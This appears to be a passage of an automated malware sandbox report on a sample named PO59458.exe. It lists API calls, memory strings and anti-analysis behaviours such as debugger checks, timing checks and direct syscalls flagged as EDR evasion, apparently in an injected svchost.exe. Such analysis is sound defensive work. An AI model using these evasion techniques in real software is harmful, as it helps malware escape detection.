Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0045DD7C FindFirstFileW,FindClose,	0_2_0045DD7C
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0044BD29 FindFirstFileW,CopyFileW,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD29
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,	0_2_00436D2D
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442E1F
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,	0_2_00475FE5
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0044BF8D FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8D
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B1C4B0 FindFirstFileW,FindNextFileW,FindClose,	4_2_02B1C4B0

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0040E470

Source: mLKlRmqOwZ.exe, 00000005.00000002.20109237140.000000000117F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlltt.x
Source: firefox.exe, 00000006.00000002.15807765114.0000028279D97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll,
Source: raserver.exe, 00000004.00000002.20108061852.0000000002E4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_02D71763 rdtsc

2_2_02D71763

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_02167593 LdrLoadDll,

2_2_02167593

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_0045A259 BlockInput,

0_2_0045A259

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

0_2_0040D6D0

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,

0_2_0040EB70

Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0441F5F8 mov eax, dword ptr fs:[00000030h]	0_2_0441F5F8
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0441F658 mov eax, dword ptr fs:[00000030h]	0_2_0441F658
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0441DFB8 mov eax, dword ptr fs:[00000030h]	0_2_0441DFB8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D532C5 mov eax, dword ptr fs:[00000030h]	2_2_02D532C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D632C0 mov eax, dword ptr fs:[00000030h]	2_2_02D632C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D632C0 mov eax, dword ptr fs:[00000030h]	2_2_02D632C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E032C9 mov eax, dword ptr fs:[00000030h]	2_2_02E032C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D402F9 mov eax, dword ptr fs:[00000030h]	2_2_02D402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D402F9 mov eax, dword ptr fs:[00000030h]	2_2_02D402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D402F9 mov eax, dword ptr fs:[00000030h]	2_2_02D402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D402F9 mov eax, dword ptr fs:[00000030h]	2_2_02D402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D402F9 mov eax, dword ptr fs:[00000030h]	2_2_02D402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D402F9 mov eax, dword ptr fs:[00000030h]	2_2_02D402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D402F9 mov eax, dword ptr fs:[00000030h]	2_2_02D402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D402F9 mov eax, dword ptr fs:[00000030h]	2_2_02D402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D272E0 mov eax, dword ptr fs:[00000030h]	2_2_02D272E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A2E0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A2E0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A2E0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A2E0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A2E0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A2E0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D382E0 mov eax, dword ptr fs:[00000030h]	2_2_02D382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D382E0 mov eax, dword ptr fs:[00000030h]	2_2_02D382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D382E0 mov eax, dword ptr fs:[00000030h]	2_2_02D382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D382E0 mov eax, dword ptr fs:[00000030h]	2_2_02D382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2D2EC mov eax, dword ptr fs:[00000030h]	2_2_02D2D2EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2D2EC mov eax, dword ptr fs:[00000030h]	2_2_02D2D2EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE289 mov eax, dword ptr fs:[00000030h]	2_2_02DAE289
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E0B2BC mov eax, dword ptr fs:[00000030h]	2_2_02E0B2BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E0B2BC mov eax, dword ptr fs:[00000030h]	2_2_02E0B2BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E0B2BC mov eax, dword ptr fs:[00000030h]	2_2_02E0B2BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E0B2BC mov eax, dword ptr fs:[00000030h]	2_2_02E0B2BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2C2B0 mov ecx, dword ptr fs:[00000030h]	2_2_02D2C2B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEF2AE mov eax, dword ptr fs:[00000030h]	2_2_02DEF2AE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF92AB mov eax, dword ptr fs:[00000030h]	2_2_02DF92AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D542AF mov eax, dword ptr fs:[00000030h]	2_2_02D542AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D542AF mov eax, dword ptr fs:[00000030h]	2_2_02D542AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D292AF mov eax, dword ptr fs:[00000030h]	2_2_02D292AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF124C mov eax, dword ptr fs:[00000030h]	2_2_02DF124C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF124C mov eax, dword ptr fs:[00000030h]	2_2_02DF124C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF124C mov eax, dword ptr fs:[00000030h]	2_2_02DF124C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF124C mov eax, dword ptr fs:[00000030h]	2_2_02DF124C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEF247 mov eax, dword ptr fs:[00000030h]	2_2_02DEF247
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5F24A mov eax, dword ptr fs:[00000030h]	2_2_02D5F24A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2B273 mov eax, dword ptr fs:[00000030h]	2_2_02D2B273
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2B273 mov eax, dword ptr fs:[00000030h]	2_2_02D2B273
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2B273 mov eax, dword ptr fs:[00000030h]	2_2_02D2B273
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC327E mov eax, dword ptr fs:[00000030h]	2_2_02DC327E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC327E mov eax, dword ptr fs:[00000030h]	2_2_02DC327E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC327E mov eax, dword ptr fs:[00000030h]	2_2_02DC327E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC327E mov eax, dword ptr fs:[00000030h]	2_2_02DC327E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC327E mov eax, dword ptr fs:[00000030h]	2_2_02DC327E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC327E mov eax, dword ptr fs:[00000030h]	2_2_02DC327E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DED270 mov eax, dword ptr fs:[00000030h]	2_2_02DED270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2821B mov eax, dword ptr fs:[00000030h]	2_2_02D2821B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBB214 mov eax, dword ptr fs:[00000030h]	2_2_02DBB214
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBB214 mov eax, dword ptr fs:[00000030h]	2_2_02DBB214
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2A200 mov eax, dword ptr fs:[00000030h]	2_2_02D2A200
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D50230 mov ecx, dword ptr fs:[00000030h]	2_2_02D50230
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB0227 mov eax, dword ptr fs:[00000030h]	2_2_02DB0227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB0227 mov eax, dword ptr fs:[00000030h]	2_2_02DB0227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB0227 mov eax, dword ptr fs:[00000030h]	2_2_02DB0227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A22B mov eax, dword ptr fs:[00000030h]	2_2_02D6A22B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A22B mov eax, dword ptr fs:[00000030h]	2_2_02D6A22B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A22B mov eax, dword ptr fs:[00000030h]	2_2_02D6A22B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D633D0 mov eax, dword ptr fs:[00000030h]	2_2_02D633D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D643D0 mov ecx, dword ptr fs:[00000030h]	2_2_02D643D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB43D5 mov eax, dword ptr fs:[00000030h]	2_2_02DB43D5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2E3C0 mov eax, dword ptr fs:[00000030h]	2_2_02D2E3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2E3C0 mov eax, dword ptr fs:[00000030h]	2_2_02D2E3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2E3C0 mov eax, dword ptr fs:[00000030h]	2_2_02D2E3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2C3C7 mov eax, dword ptr fs:[00000030h]	2_2_02D2C3C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D363CB mov eax, dword ptr fs:[00000030h]	2_2_02D363CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5A390 mov eax, dword ptr fs:[00000030h]	2_2_02D5A390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5A390 mov eax, dword ptr fs:[00000030h]	2_2_02D5A390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5A390 mov eax, dword ptr fs:[00000030h]	2_2_02D5A390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D31380 mov eax, dword ptr fs:[00000030h]	2_2_02D31380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D31380 mov eax, dword ptr fs:[00000030h]	2_2_02D31380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D31380 mov eax, dword ptr fs:[00000030h]	2_2_02D31380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D31380 mov eax, dword ptr fs:[00000030h]	2_2_02D31380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D31380 mov eax, dword ptr fs:[00000030h]	2_2_02D31380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4F380 mov eax, dword ptr fs:[00000030h]	2_2_02D4F380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4F380 mov eax, dword ptr fs:[00000030h]	2_2_02D4F380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4F380 mov eax, dword ptr fs:[00000030h]	2_2_02D4F380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4F380 mov eax, dword ptr fs:[00000030h]	2_2_02D4F380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4F380 mov eax, dword ptr fs:[00000030h]	2_2_02D4F380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4F380 mov eax, dword ptr fs:[00000030h]	2_2_02D4F380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEF38A mov eax, dword ptr fs:[00000030h]	2_2_02DEF38A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAC3B0 mov eax, dword ptr fs:[00000030h]	2_2_02DAC3B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D393A6 mov eax, dword ptr fs:[00000030h]	2_2_02D393A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D393A6 mov eax, dword ptr fs:[00000030h]	2_2_02D393A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A350 mov eax, dword ptr fs:[00000030h]	2_2_02D6A350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D28347 mov eax, dword ptr fs:[00000030h]	2_2_02D28347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D28347 mov eax, dword ptr fs:[00000030h]	2_2_02D28347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D28347 mov eax, dword ptr fs:[00000030h]	2_2_02D28347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE372 mov eax, dword ptr fs:[00000030h]	2_2_02DAE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE372 mov eax, dword ptr fs:[00000030h]	2_2_02DAE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE372 mov eax, dword ptr fs:[00000030h]	2_2_02DAE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE372 mov eax, dword ptr fs:[00000030h]	2_2_02DAE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB0371 mov eax, dword ptr fs:[00000030h]	2_2_02DB0371
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB0371 mov eax, dword ptr fs:[00000030h]	2_2_02DB0371
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5237A mov eax, dword ptr fs:[00000030h]	2_2_02D5237A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3B360 mov eax, dword ptr fs:[00000030h]	2_2_02D3B360
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3B360 mov eax, dword ptr fs:[00000030h]	2_2_02D3B360
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3B360 mov eax, dword ptr fs:[00000030h]	2_2_02D3B360
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3B360 mov eax, dword ptr fs:[00000030h]	2_2_02D3B360
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3B360 mov eax, dword ptr fs:[00000030h]	2_2_02D3B360
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3B360 mov eax, dword ptr fs:[00000030h]	2_2_02D3B360
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E363 mov eax, dword ptr fs:[00000030h]	2_2_02D6E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E363 mov eax, dword ptr fs:[00000030h]	2_2_02D6E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E363 mov eax, dword ptr fs:[00000030h]	2_2_02D6E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E363 mov eax, dword ptr fs:[00000030h]	2_2_02D6E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E363 mov eax, dword ptr fs:[00000030h]	2_2_02D6E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E363 mov eax, dword ptr fs:[00000030h]	2_2_02D6E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E363 mov eax, dword ptr fs:[00000030h]	2_2_02D6E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E363 mov eax, dword ptr fs:[00000030h]	2_2_02D6E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4E310 mov eax, dword ptr fs:[00000030h]	2_2_02D4E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4E310 mov eax, dword ptr fs:[00000030h]	2_2_02D4E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4E310 mov eax, dword ptr fs:[00000030h]	2_2_02D4E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6631F mov eax, dword ptr fs:[00000030h]	2_2_02D6631F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D29303 mov eax, dword ptr fs:[00000030h]	2_2_02D29303
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D29303 mov eax, dword ptr fs:[00000030h]	2_2_02D29303
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEF30A mov eax, dword ptr fs:[00000030h]	2_2_02DEF30A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E03336 mov eax, dword ptr fs:[00000030h]	2_2_02E03336
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB330C mov eax, dword ptr fs:[00000030h]	2_2_02DB330C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB330C mov eax, dword ptr fs:[00000030h]	2_2_02DB330C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB330C mov eax, dword ptr fs:[00000030h]	2_2_02DB330C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB330C mov eax, dword ptr fs:[00000030h]	2_2_02DB330C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D68322 mov eax, dword ptr fs:[00000030h]	2_2_02D68322
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D68322 mov eax, dword ptr fs:[00000030h]	2_2_02D68322
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D68322 mov eax, dword ptr fs:[00000030h]	2_2_02D68322
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5332D mov eax, dword ptr fs:[00000030h]	2_2_02D5332D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2E328 mov eax, dword ptr fs:[00000030h]	2_2_02D2E328
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2E328 mov eax, dword ptr fs:[00000030h]	2_2_02D2E328
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2E328 mov eax, dword ptr fs:[00000030h]	2_2_02D2E328
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4B0D0 mov eax, dword ptr fs:[00000030h]	2_2_02D4B0D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2B0D6 mov eax, dword ptr fs:[00000030h]	2_2_02D2B0D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2B0D6 mov eax, dword ptr fs:[00000030h]	2_2_02D2B0D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2B0D6 mov eax, dword ptr fs:[00000030h]	2_2_02D2B0D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2B0D6 mov eax, dword ptr fs:[00000030h]	2_2_02D2B0D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2C0F6 mov eax, dword ptr fs:[00000030h]	2_2_02D2C0F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6D0F0 mov eax, dword ptr fs:[00000030h]	2_2_02D6D0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6D0F0 mov ecx, dword ptr fs:[00000030h]	2_2_02D6D0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D290F8 mov eax, dword ptr fs:[00000030h]	2_2_02D290F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D290F8 mov eax, dword ptr fs:[00000030h]	2_2_02D290F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D290F8 mov eax, dword ptr fs:[00000030h]	2_2_02D290F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D290F8 mov eax, dword ptr fs:[00000030h]	2_2_02D290F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2A093 mov ecx, dword ptr fs:[00000030h]	2_2_02D2A093
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2C090 mov eax, dword ptr fs:[00000030h]	2_2_02D2C090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E050B7 mov eax, dword ptr fs:[00000030h]	2_2_02E050B7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04080 mov eax, dword ptr fs:[00000030h]	2_2_02E04080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04080 mov eax, dword ptr fs:[00000030h]	2_2_02E04080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04080 mov eax, dword ptr fs:[00000030h]	2_2_02E04080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04080 mov eax, dword ptr fs:[00000030h]	2_2_02E04080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04080 mov eax, dword ptr fs:[00000030h]	2_2_02E04080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04080 mov eax, dword ptr fs:[00000030h]	2_2_02E04080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04080 mov eax, dword ptr fs:[00000030h]	2_2_02E04080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEB0AF mov eax, dword ptr fs:[00000030h]	2_2_02DEB0AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D700A5 mov eax, dword ptr fs:[00000030h]	2_2_02D700A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDF0A5 mov eax, dword ptr fs:[00000030h]	2_2_02DDF0A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDF0A5 mov eax, dword ptr fs:[00000030h]	2_2_02DDF0A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDF0A5 mov eax, dword ptr fs:[00000030h]	2_2_02DDF0A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDF0A5 mov eax, dword ptr fs:[00000030h]	2_2_02DDF0A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDF0A5 mov eax, dword ptr fs:[00000030h]	2_2_02DDF0A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDF0A5 mov eax, dword ptr fs:[00000030h]	2_2_02DDF0A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDF0A5 mov eax, dword ptr fs:[00000030h]	2_2_02DDF0A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D31051 mov eax, dword ptr fs:[00000030h]	2_2_02D31051
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D31051 mov eax, dword ptr fs:[00000030h]	2_2_02D31051
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D60044 mov eax, dword ptr fs:[00000030h]	2_2_02D60044
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D37072 mov eax, dword ptr fs:[00000030h]	2_2_02D37072
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D36074 mov eax, dword ptr fs:[00000030h]	2_2_02D36074
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D36074 mov eax, dword ptr fs:[00000030h]	2_2_02D36074
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD9060 mov eax, dword ptr fs:[00000030h]	2_2_02DD9060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D55004 mov eax, dword ptr fs:[00000030h]	2_2_02D55004
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D55004 mov ecx, dword ptr fs:[00000030h]	2_2_02D55004
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D38009 mov eax, dword ptr fs:[00000030h]	2_2_02D38009
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2D02D mov eax, dword ptr fs:[00000030h]	2_2_02D2D02D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D401C0 mov eax, dword ptr fs:[00000030h]	2_2_02D401C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D401C0 mov eax, dword ptr fs:[00000030h]	2_2_02D401C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D451C0 mov eax, dword ptr fs:[00000030h]	2_2_02D451C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D451C0 mov eax, dword ptr fs:[00000030h]	2_2_02D451C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D451C0 mov eax, dword ptr fs:[00000030h]	2_2_02D451C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D451C0 mov eax, dword ptr fs:[00000030h]	2_2_02D451C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D291F0 mov eax, dword ptr fs:[00000030h]	2_2_02D291F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D291F0 mov eax, dword ptr fs:[00000030h]	2_2_02D291F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D401F1 mov eax, dword ptr fs:[00000030h]	2_2_02D401F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D401F1 mov eax, dword ptr fs:[00000030h]	2_2_02D401F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D401F1 mov eax, dword ptr fs:[00000030h]	2_2_02D401F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5F1F0 mov eax, dword ptr fs:[00000030h]	2_2_02D5F1F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5F1F0 mov eax, dword ptr fs:[00000030h]	2_2_02D5F1F0
